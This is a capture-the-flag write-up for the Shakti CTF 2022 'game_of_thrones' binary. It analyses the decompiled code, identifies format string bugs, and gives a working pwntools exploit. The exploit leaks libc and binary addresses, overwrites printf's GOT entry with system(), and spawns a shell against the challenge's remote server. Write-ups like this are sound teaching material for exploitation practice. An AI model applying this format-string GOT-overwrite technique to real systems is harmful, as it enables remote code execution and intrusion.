Shakti CTF 2022 - game_of_thrones (medium)

Info

(10/387) solves

MediumT

description

Help capture king’s landing and defeat the night walkers and his army of the dead!
Note: The server is running on Ubuntu 20.04.
Author: d1g174l_f0rtr355

for player

1
2
3
.
├── chall_dd0d7c74-c5fb-41f8-850f-2f82d6b6495c
└── libc.so.6
1
chall_dd0d7c74-c5fb-41f8-850f-2f82d6b6495c: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /glibc/2.27/64/lib/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d246cab5927d94da0823f90a45d0373f433066ab, not stripped

Analysis

Mitigation

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [rsp+Fh] [rbp-1h]

initialize(argc, argv, envp);
puts("\n\n=================================================");
puts("|\tWelcome to Game of Thrones (GOT)\t|");
puts("=================================================\n\n");
puts("The goal is simple! You need to become the ruler of the seven kingdoms!");
while ( 1 )
{
while ( 1 )
{
menu();
v3 = getchar();
getchar();
if ( v3 != '3' )
break;
white_walkers(&num_men, &num_dragons);
}
if ( v3 > '3' )
{
LABEL_10:
puts("Invalid choice!");
exit_function(0LL);
}
else if ( v3 == '1' )
{
num_dragons = use_dragons();
}
else
{
if ( v3 != '2' )
goto LABEL_10;
kings_landing(&num_men, &num_dragons);
}
}
}

The main function has a 3 functions to keep an eye on.

  1. num_dragons = use_dragons();
  2. kings_landing(&num_men, &num_dragons);
  3. white_walkers(&num_men, &num_dragons);

Let’s take a look at each one.

1. use_dragons()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 use_dragons()
{
char format[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("\n\nYou currently have %d number of dragons.\n", 3LL);
printf("\nSay something in Valyrian: ");
__isoc99_scanf("%10s", format);
getchar();
printf("The dragons say: ");
printf(format); // fsb
return 3LL;
}

In this function, format variable receives 10 characters from player and outputs them as they are. Since printf() doesn’t specify a format string when printing, the Format String Bug(FSB) possibility exists.

The return value 3 is stored in num_dragons that global variable.

2. kings_landing(&num_men, &num_dragons)

In this funciton, the main parts of the functon are as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
else if ( choice == '2' )
{
if ( *num_dragons && *num_dragons <= 3u )
{
printf("How many dragons would you like to use ?\n> ");
__isoc99_scanf("%u", &use_dragons);
if ( use_dragons && use_dragons <= 3 )
{
*num_dragons -= use_dragons;
printf("%u dragon(s) have been used!\nAre you going to kill the white walkers ?\n> ", use_dragons);
getchar();
__isoc99_scanf("%50[^\n]s", format);
printf(format); // fsb
}
else
{
puts("You only use dragons that you have");
exit_function(0LL);
}
}
...

We can use the 3 dragons. It means we have the 3 chances with FSB in this function. However, the use_dragons() must precede this function.

3. white_walkers(&num_men, &num_dragons)

There is no meaningful code to find vulnerablilties.

Vulnerability

In use_dragons() function, There is 1 FSB.
In kings_landing() function, There are 3 chances with FSB.

Exploit

The exploit progressed relatively quickly in the local environment, but took a long time in the remote envireonment. I guess it’s because of libc version.

(It may be my mistake that I downloaded the wrong libc from CTF web site..)

Even though libc was given, this version doesn’t seem to match from remote environment, so I guessed the offset. Except for the offset, the exploit is same as in the local environment. So the offest is dirty because it was obtained by guessing.

Exploit Scenario

We have to leak the base address of the binary and libc using FSB that in use_dragons(). After getting the bases, we know the address of ‘printf()’ in binary and system() in libc. So we can overwriting system() to printf@got. In this case, it uses the FSB triggered by the kings_landing().

I use the fmtstr_payload in pwntools for comfortable. The FSB payload has a 50 length limit, so I use the write_size argument and only 4 bytes of the system() for overwriting.

1
payload = fmtstr_payload(10, {e.got['printf'] : p64(system)[:4] }, write_size = 'short')

After overwriting, When the printf() is executed, the system() will be executed. We need to focus on the printf() that has only one argument. That argument is our input. It means that we have to find pirntf(input); same as system(input);.

It is not implemented in the exploit code, but after interactive we can execute the use_dragons() and sent the sh string to the part that receives the input values.

1
2
3
4
5
6
7
8
9
10
__int64 use_dragons()
{
char format[24]; // [rsp+10h] [rbp-20h] BYREF

...
__isoc99_scanf("%10s", format);
printf(format); // system(format);

return 3LL;
}

You may be wondering if it’s okay to pass invalid arguments to the system(). For example as below.

1
2
// printf("\n\nYou currently have %d number of dragons.\n", 3LL);
system("\n\nYou currently have %d number of dragons.\n", 3LL);

It just prints an error saying it can’t run but the binary isn’t exit.

1
sh: line 1: ff: command not found

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import time

context.arch = 'amd64'
context.log_level = 'debug'

e = ELF('./chall')
libc = ELF('./libc.so.6')
# libc = e.libc

while True:
p = remote('65.2.136.80', 32261)
# p = process('./chall')

def use_dragons(fmt):
p.sendlineafter('choice:', str(1))
p.sendlineafter('an:', fmt)

def kings_landing(use, fmt):
p.sendlineafter('choice:', str(2))
p.sendlineafter('ns\n\n', str(2))
p.sendlineafter('> ', str(use))
p.sendlineafter('> ', fmt)

def white_walkers():
p.sendlineafter('choice:', str(3))

# leak
use_dragons('%17$p%39$p')

p.recvuntil('0x')
leak = int(p.recv(12),16)
libc.address = leak-0x80-0x23800-0x800-3
# libc.address = leak - 0x851f0
info(hex(libc.address))

p.recvuntil('0x')
e.address = int(p.recv(12), 16) - 0x1140
info(hex(e.address))

# printf got -> system
system = libc.address + 0x55410+0x100-0x3180-0x100
payload = fmtstr_payload(10, {e.got['printf'] : p64(system)[:4] }, write_size = 'short')
# if len(payload) > 50:
# p.close()
# continue
# print(len(payload))
kings_landing(1 ,payload)

p.interactive()

# cmd
# In sue_dragons() function,
# system('sh');

I used loop bescause of offset prediction and FSB payload length.

flag

1
shaktictf{F0rm4T_S7r1ng5_4nd_G0T_0v3Rwr17e_4r3_7h3_r34l_k1ll3rs_4d9ddd93416dd1881ae5a725a2cb0058}